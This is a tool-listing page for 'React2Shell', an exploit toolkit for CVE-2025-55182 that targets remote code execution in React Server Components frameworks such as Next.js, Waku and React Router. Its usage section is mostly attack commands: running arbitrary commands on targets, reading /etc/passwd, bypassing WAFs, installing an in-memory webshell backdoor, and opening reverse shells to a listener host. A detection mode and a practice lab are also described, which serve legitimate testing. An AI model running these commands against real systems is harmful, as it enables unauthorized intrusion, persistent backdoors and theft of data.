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React2Shell — CVE-2025-55182 security test kit: CLI scanner + Chrome extension + Nuclei templates + Docker lab. | Kitploit
Tools/GitHubGitHub/sho-luv/react2shell
Vulnerability ScannersExploit FrameworksWeb Application ExploitationWAF BypassWeb SecurityCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubsho-luv/react2shell

React2Shell

928 months agoNot yet reviewed

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CVE-2025-55182 security test kit: CLI scanner + Chrome extension + Nuclei templates + Docker lab.

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React2Shell

CVE-2025-55182 Scanner & Exploit Toolkit for Next.js/React Server Components RCE.

Repository Structure

root@kitploit:~
React2Shell/
├── browser-extension/    # Chrome extension for browser-based detection
│   ├── manifest.json
│   ├── content.js
│   ├── popup.html/js
│   └── background.js
├── cli/                  # Command-line scanner & exploit tool
│   ├── react2shell.py
│   └── requirements.txt
├── docs/                 # Learning-focused documentation
│   ├── README.md         # Learning path index
│   ├── 01-fundamentals.md
│   ├── 02-vulnerability.md
│   ├── 03-exploitation.md
│   ├── 04-frameworks.md
│   └── 05-defense.md
├── lab/                  # Docker lab environment for testing
│   ├── vulnerable/       # Vulnerable Next.js app (React 19.2.0)
│   ├── patched/          # Patched Next.js app (React 19.2.1)
│   ├── waf/              # ModSecurity WAF container
│   ├── waku-app/         # Vulnerable Waku app (React 19.2.0)
│   ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│   └── docker-compose.yml
└── nuclei/               # Nuclei templates
    ├── CVE-2025-55182.yaml       # RCE detection (executes code)
    └── CVE-2025-55182-safe.yaml  # Safe side-channel detection

Quick Start

CLI Tool

root@kitploit:~
cd cli
pip install -r requirements.txt

# Scan a target
python react2shell.py https://target.com

# Execute command
python react2shell.py https://target.com -c "id"

# Interactive shell
python react2shell.py https://target.com -i

Browser Extension

  1. Open chrome://extensions/
  2. Enable "Developer mode"
  3. Click "Load unpacked"
  4. Select the browser-extension directory

Lab Environment

root@kitploit:~
cd lab
docker-compose up -d

# Exploitable targets:
# Next.js Vulnerable:    http://localhost:3011  ← Full RCE
# Waku Vulnerable:       http://localhost:3014  ← RCE (blind - no HTTP output)
# React Router:          http://localhost:3015  ← Full RCE (ESM)

# Protected targets:
# Next.js Patched:       http://localhost:3012  ← Secure
# WAF Protected:         http://localhost:3013  ← ModSecurity blocks exploits

Nuclei Scanner

root@kitploit:~
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com

Features

CLI Tool (cli/react2shell.py)

  • Multi-framework support - Next.js, Waku, React Router, Expo, Vite RSC, Parcel RSC
  • Framework detection (--detect) - Auto-detect target framework
  • Endpoint enumeration (-E) - Discover RSC endpoints automatically
  • Vulnerability scanning - Single URL or batch scanning from file
  • Command execution (-c) - Run arbitrary commands
  • Interactive shell (-i) - Persistent command session
  • Reverse shell (-r) - Multiple types: nc, bash, perl, python, ruby
  • In-memory webshell (--webshell) - Persistent backdoor installation
  • File reading (-f) - Read remote files directly
  • Local scanning (-L) - Check package.json for vulnerable versions
  • WAF bypass - Junk padding (-w), Unicode encoding (-u), Vercel-specific (-V)

Browser Extension (browser-extension/)

  • Auto-detection of RSC vulnerability indicators
  • Configurable exploit paths
  • Command execution with output display
  • Enable/disable toggle
  • Visual vulnerable/safe indicators

Lab Environment (lab/)

  • Vulnerable Next.js (3011) - Full RCE with output via X-Action-Redirect
  • Waku (3014) - RCE confirmed, requires /RSC/F/{x}/{y}.txt path format
  • React Router (3015) - Full RCE using ESM-compatible process.getBuiltinModule()
  • Patched Next.js (3012) - For testing detection without exploitation
  • WAF Protected (3013) - ModSecurity rules for bypass research
  • Dashboard (8080) - Attack logging and visualization

CLI Usage Examples

root@kitploit:~
# Basic scan (auto-detects framework)
python react2shell.py https://target.com

# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v

# Execute command on different frameworks
python react2shell.py https://target.com -c "id"                    # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id"            # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id"    # React Router (ESM)

# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt"  # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id"        # React Router

# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u

# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080

# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'

# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash

# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project

# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v

All CLI Options

root@kitploit:~
Execution Options:
  -c, --cmd             Command to execute
  -i, --interactive     Interactive shell session
  -r, --reverse         Reverse shell mode
  -l, --lhost           Listener host
  -p, --lport           Listener port
  -S, --shell-type      Shell type (nc, nc-mkfifo, bash, perl, python, ruby)
  -f, --read-file       Read a remote file

Scanning Options:
  -P, --path            Paths to test (comma-separated or file)
  -t, --threads         Number of threads (default: 10)
  -T, --timeout         Request timeout in seconds (default: 10)
  -s, --safe            Safe mode (no code execution)
  -L, --local           Scan local project directory
  -F, --framework       Target framework (auto, nextjs, waku, react-router, expo)
  -E, --enumerate       Enumerate RSC endpoints before exploitation
  --detect              Only detect framework and list endpoints
  --webshell            Install in-memory webshell on port 1337
  --rce                 RCE proof-of-concept mode (default: safe mode)

Bypass Options:
  -w, --waf-bypass      Junk data padding
  -W, --waf-size        Junk size in KB (default: 128)
  -u, --unicode         Unicode encoding bypass
  -V, --vercel-bypass   Vercel-specific bypass
  --windows             Windows PowerShell payloads

Request Options:
  -x, --proxy           Proxy URL (e.g., http://127.0.0.1:8080)
  -H, --header          Custom headers
  -A, --user-agent      Custom User-Agent
  -k, --insecure        Disable SSL verification

Output Options:
  -o, --output          Save results to JSON
  -v, --verbose         Verbose output with version detection
  -q, --quiet           Only show vulnerable targets
  --no-color            Disable colors
  --no-banner           Hide banner

CVE-2025-55182 Details

FieldValue
CVSS10.0 (Critical)
ImpactUnauthenticated Remote Code Execution

Affected Frameworks

Credits

  • mrknow001/RSC_Detector
  • assetnote/react2shell-scanner
  • Chocapikk/CVE-2025-55182
  • hackersatyamrastogi/react2shell-ultimate
  • ProjectDiscovery Nuclei Templates

Disclaimer

This toolkit is for authorized security testing only. Only use on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.


CVE-2025-55182 | CVSS 10.0 | For authorized security testing only

Download Tool
  • Proxy support (-x) - Route through Burp Suite or other proxies
  • Safe mode (-s) - Side-channel detection without code execution
  • Affected
    Any RSC framework using vulnerable React versions
    MechanismPrototype pollution via React Flight Protocol
    FrameworkVulnerablePatched
    React19.0.0 - 19.2.019.2.1+
    Next.js14.0.0 - 15.4.715.4.8+
    Waku< 0.27.20.27.2+
    React Router7.0.0 - 7.5.0 (RSC preview)7.5.1+
    ExpoExperimental RSCUpdate React
    @vitejs/plugin-rscAll with vulnerable ReactUpdate React
    @parcel/rscAll with vulnerable ReactUpdate React
    RedwoodJS (rwsdk)All with vulnerable ReactUpdate React